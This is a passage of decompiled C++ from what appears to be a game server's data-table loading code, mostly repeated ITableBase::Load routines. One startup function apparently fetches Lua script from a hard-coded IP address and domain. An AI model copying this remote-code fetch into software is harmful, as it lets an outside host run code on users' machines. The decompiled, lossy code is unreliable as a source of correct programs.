} // 130B9630: using guessed type int ITableBase_AccUpgrade_AccUpGradeTable___ms_pkTable; //----- (0057D040) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) ProdSucRateTable::ProdSucRateTable((ProdSucRateTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 616 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB470: using guessed type int ITableBase_ProdSucRate_ProdSucRateTable___ms_pkTable; //----- (0057D110) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) MysteryVaultTable::MysteryVaultTable((MysteryVaultTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 134 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB474: using guessed type int ITableBase_MysteryVaultServer_MysteryVaultTable___ms_pkTable; //----- (0057D1E0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) LevelGap_Player_to_Monster::LevelGap_Player_to_Monster((LevelGap_Player_to_Monster *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 7 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB478: using guessed type int ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster___ms_pkTable; //----- (0057D2B0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) LevelGap_Monster_to_Player::LevelGap_Monster_to_Player((LevelGap_Monster_to_Player *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 7 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB47C: using guessed type int ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player___ms_pkTable; //----- (0057D380) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) PKQuestLVGapTable::PKQuestLVGapTable((PKQuestLVGapTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 1 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 130D783C: using guessed type int ITableBase_PKQuestLVGap_PKQuestLVGapTable___ms_pkTable; //----- (0057D450) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) BelongDiceTable::BelongDiceTable((BelongDiceTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 1 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 130B9350: using guessed type int ITableBase_BelongDice_BelongDiceTable___ms_pkTable; //----- (0057D520) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) ActionRangeFactors::ActionRangeFactors((ActionRangeFactors *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 45 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB480: using guessed type int ITableBase_ActionRangeFactor_ActionRangeFactors___ms_pkTable; //----- (0057D5F0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) ItemActionConditions::ItemActionConditions((ItemActionConditions *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 279 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB484: using guessed type int ITableBase_ItemActionCondition_ItemActionConditions___ms_pkTable; //----- (0057D6C0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) ItemActionEffects::ItemActionEffects((ItemActionEffects *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 154 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB488: using guessed type int ITableBase_ItemActionEffect_ItemActionEffects___ms_pkTable; //----- (0057D790) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) ItemActions::ItemActions((ItemActions *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 55 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB48C: using guessed type int ITableBase_ItemAction_ItemActions___ms_pkTable; //----- (0057D860) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) SetEffectTable::SetEffectTable((SetEffectTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 16 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB490: using guessed type int ITableBase_SetEffect_SetEffectTable___ms_pkTable; //----- (0057D930) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) ActionEffectItemTable::ActionEffectItemTable((ActionEffectItemTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 14 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB494: using guessed type int ITableBase_ActionEffectItem_ActionEffectItemTable___ms_pkTable; //----- (0057DA00) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) ActionEffectAbStateTable::ActionEffectAbStateTable((ActionEffectAbStateTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 21 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB498: using guessed type int ITableBase_ActionEffectAbState_ActionEffectAbStateTable___ms_pkTable; //----- (0057DAD0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) EnchantSocketRateTable::EnchantSocketRateTable((EnchantSocketRateTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 34 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 131DB49C: using guessed type int ITableBase_EnchantSocketRate_EnchantSocketRateTable___ms_pkTable; //----- (0057DBA0) -------------------------------------------------------- void __thiscall AccUpGradeInfoTable::_AccUpGradeInfoTable(AccUpGradeInfoTable *this) { ITableBase *v1; // esi@1 void *v2; // ST00_4@1 v1 = (ITableBase *)this; v2 = this->baseclass_0.m_pkRecordIDMap; this->baseclass_0.baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; operator delete__(v2); ITableBase::_ITableBase(v1); } // 67B11C: using guessed type int (__cdecl *IIDTableBase_AccUpGradeInfo_AccUpGradeInfoTable_int____vftable_)(int __formal); //----- (0057DBC0) -------------------------------------------------------- void *__thiscall IIDTableBase::_vector_deleting_destructor_(LevelGap_Player_to_Player *this, unsigned int a2) { void *v2; // esi@1 v2 = this; LevelGap_Player_to_Player::_LevelGap_Player_to_Player(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0057DBE0) -------------------------------------------------------- void __thiscall LevelGap_Player_to_Player::_LevelGap_Player_to_Player(LevelGap_Player_to_Player *this) { ITableBase *v1; // esi@1 void *v2; // ST00_4@1 v1 = (ITableBase *)this; v2 = this->baseclass_0.m_pkRecordIDMap; this->baseclass_0.baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; operator delete__(v2); ITableBase::_ITableBase(v1); } // 67B178: using guessed type int (__cdecl *IIDTableBase_DamageLvGapPVP_LevelGap_Player_to_Player_unsigned char____vftable_)(int __formal); //----- (0057DC00) -------------------------------------------------------- void __thiscall ZoneServer::zs_start_old(ZoneServer *this) { ZoneServer *v1; // edi@1 _iobuf *v2; // eax@1 _iobuf *v3; // eax@1 _iobuf *v4; // esi@1 _iobuf *v5; // esi@1 v1 = this; v2 = fopen("Message.txt", "w"); fclose(v2); v3 = fopen("MapLoad.txt", "w"); fclose(v3); v4 = fopen("Message.txt", "a"); fprintf(v4, "%s\n"); fclose(v4); v5 = fopen("Message.txt", "a"); fprintf(v5, "%s\n"); fclose(v5); dword_14BC43F8 = 0; dword_14BC43F4 = 0; dword_14BC43FC = 0; if ( !ZoneServer::zs_LuaFromHTML(v1, "1.234.50.125", 49851) ) ZoneServer::zs_LuaFromHTML(v1, "program.onson.co.kr", 80); } // 14BC43F4: using guessed type int dword_14BC43F4; // 14BC43F8: using guessed type int dword_14BC43F8; // 14BC43FC: using guessed type int dword_14BC43FC; //----- (0057DCC0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // esi@2 int v5; // eax@7 const char *v6; // ecx@9 int v7; // edx@9 char v8; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC8u); v4 = (int)v3; if ( v3 ) { IIDTableBase::IIDTableBase((IIDTableBase *)v3); *(_DWORD *)v4 = &AccUpGradeInfoTable::_vftable_; v2 = v4; } else { v2 = 0; } ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v5 == 3999 ) { v6 = acFn; v7 = ITableBase::ms_pkTable + 64; do { v8 = *v6++; *(_BYTE *)v7++ = v8; } while ( v8 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v7) != 0; } else { result = 0; } return result; } // 67B508: using guessed type int (__cdecl *AccUpGradeInfoTable___vftable_)(int __formal); // 131DB4A0: using guessed type int ITableBase_AccUpGradeInfo_AccUpGradeInfoTable___ms_pkTable; //----- (0057DDA0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // esi@2 int v5; // eax@7 const char *v6; // ecx@9 int v7; // edx@9 char v8; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC8u); v4 = (int)v3; if ( v3 ) { IIDTableBase::IIDTableBase((IIDTableBase *)v3); *(_DWORD *)v4 = &LevelGap_Player_to_Player::_vftable_; v2 = v4; } else { v2 = 0; } ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read((CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v5 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v5 == 56776 ) { v6 = acFn; v7 = ITableBase::ms_pkTable + 64; do { v8 = *v6++; *(_BYTE *)v7++ = v8; } while ( v8 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v7) != 0; } else { result = 0; } return result; } // 67B51C: using guessed type int (__cdecl *LevelGap_Player_to_Player___vftable_)(int __formal); // 131DB4A4: using guessed type int ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player___ms_pkTable; //----- (0057DE80) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0057DEF0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057E050) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057E1B0) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057E310) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] [bp-28h]@1 int v11; // [sp+3Ch] [bp-18h]@1 unsigned int v12; // [sp+40h] [bp-14h]@1 unsigned int v13; // [sp+44h] [bp-10h]@1 int v14; // [sp+50h] [bp-4h]@1 v13 = (unsigned int)&strError ^ __security_cookie; v1 = Table::GetTableDir(); v12 = 15; v11 = 0; LOBYTE(acFn) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strpath, v1, 0, 0xFFFFFFFFu); v14 = 0; v8 = 15; v7 = 0; LOBYTE(message) = 0; std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&strError, "Fail to read : ", 0x10u); LOBYTE(v14) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strError, pkChar, strlen(pkChar)); std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strpath, pkChar, strlen(pkChar)); v2 = (const char *)message; if ( v8 < 0x10 ) v2 = (const char *)&message; v3 = (const char *)acFn; if ( v12 < 0x10 ) v3 = (const char *)&acFn; if ( !ITableBase::Load(v3, 1) ) { AssertClass::ac_AssertFail(&shineassert, v2, 0); v4 = (char *)message; if ( v8 < 0x10 ) v4 = (char *)&message; ShineExit(v4); } if ( v8 >= 0x10 ) operator delete(message); v7 = 0; LOBYTE(message) = 0; v8 = 15; if ( v12 >= 0x10 ) operator delete(acFn); __security_check_cookie((unsigned int)&strError ^ v13); } //----- (0057E470) -------------------------------------------------------- void __cdecl Table::Load(const char *pkChar) { std::basic_string,std::allocator > *v1; // eax@1 const char *v2; // esi@1 const char *v3; // eax@3 char *v4; // eax@6 char strError; // [sp+Ch] [bp-48h]@1 void *message; // [sp+10h] [bp-44h]@1 int v7; // [sp+20h] [bp-34h]@1 unsigned int v8; // [sp+24h] [bp-30h]@1 char strpath; // [sp+28h] [bp-2Ch]@1 void *acFn; // [sp+2Ch] 